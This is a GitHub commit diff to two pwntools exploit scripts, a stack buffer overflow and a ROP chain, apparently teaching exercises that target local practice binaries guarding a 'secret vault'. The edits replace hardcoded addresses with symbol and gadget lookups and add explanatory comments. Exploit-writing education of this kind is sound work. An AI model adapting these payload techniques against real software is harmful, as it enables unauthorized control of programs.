File tree Expand file tree Collapse file tree 2 files changed +16
-8
lines changed Expand file tree Collapse file tree 2 files changed +16
-8
lines changed Original file line number Diff line number Diff line change 4
4
5
5
import argparse
6
6
7
- ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
8
-
9
7
if __name__ == '__main__' :
10
8
parser = argparse .ArgumentParser ()
11
9
parser .add_argument ('--debug' , action = 'store_true' )
15
13
# Tell pwntools our target process to automate future functions
16
14
elf = context .binary = ELF ('buffer_overflow' )
17
15
16
+ access_vault_function_addr = elf .symbols ['access_vault' ]
17
+
18
18
if args .debug :
19
19
io = gdb .debug (context .binary .path , '''
20
20
set follow-fork-mode child
53
53
# We only execute one other function which doesn't need it
54
54
saved_ebp = b'B' * 0x8
55
55
# We have to pack the address properly (endianess!)
56
- redirect_addr = p64 (ACCESS_VAULT_FUNCTION_ADDR )
56
+ redirect_addr = p64 (access_vault_function_addr )
57
57
# Craft the final bytes payload
58
58
payload = dummy_data + saved_ebp + redirect_addr
59
59
Original file line number Diff line number Diff line change 11
11
12
12
args = parser .parse_args ()
13
13
14
- POP_EDI_GADGET_ADDR = 0x0000000000401253
15
- ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
16
-
17
14
elf = context .binary = ELF ('rop_chaining' )
18
15
16
+ rop = ROP (elf )
17
+
18
+ # Address can also be found by running 'ropper --file rop_chaining --search "pop rdi; ret"'
19
+ pop_rdi_gadget_addr = rop .find_gadget (['pop rdi' , 'ret' ])[0 ]
20
+ access_vault_function_addr = elf .symbols ['access_vault' ]
21
+
19
22
if args .debug :
20
23
io = gdb .debug (context .binary .path , '''
21
24
set follow-fork-mode child
27
30
28
31
io .recvuntil (b"Enter the password to access Santa Ono's secret vault:" )
29
32
30
- payload = (b'A' * 0x10 + b'B' * 0x8 +
31
- p64 (POP_EDI_GADGET_ADDR ) + p64 (1337 ) + p64 (ACCESS_VAULT_FUNCTION_ADDR ))
33
+ # Padding to get to return address
34
+ padding = b'A' * 0x10 + b'B' * 0x8
35
+ # Pop 1337 into rdi register
36
+ pop_1337_payload = p64 (pop_rdi_gadget_addr ) + p64 (1337 )
37
+ # Notice last chain is calling the target access_vault function
38
+ # Most 64-bit calling conventions place the first argument in rdi
39
+ payload = padding + pop_1337_payload + p64 (access_vault_function_addr )
32
40
33
41
io .send (payload )
34
42
You can’t perform that action at this time.
0 commit comments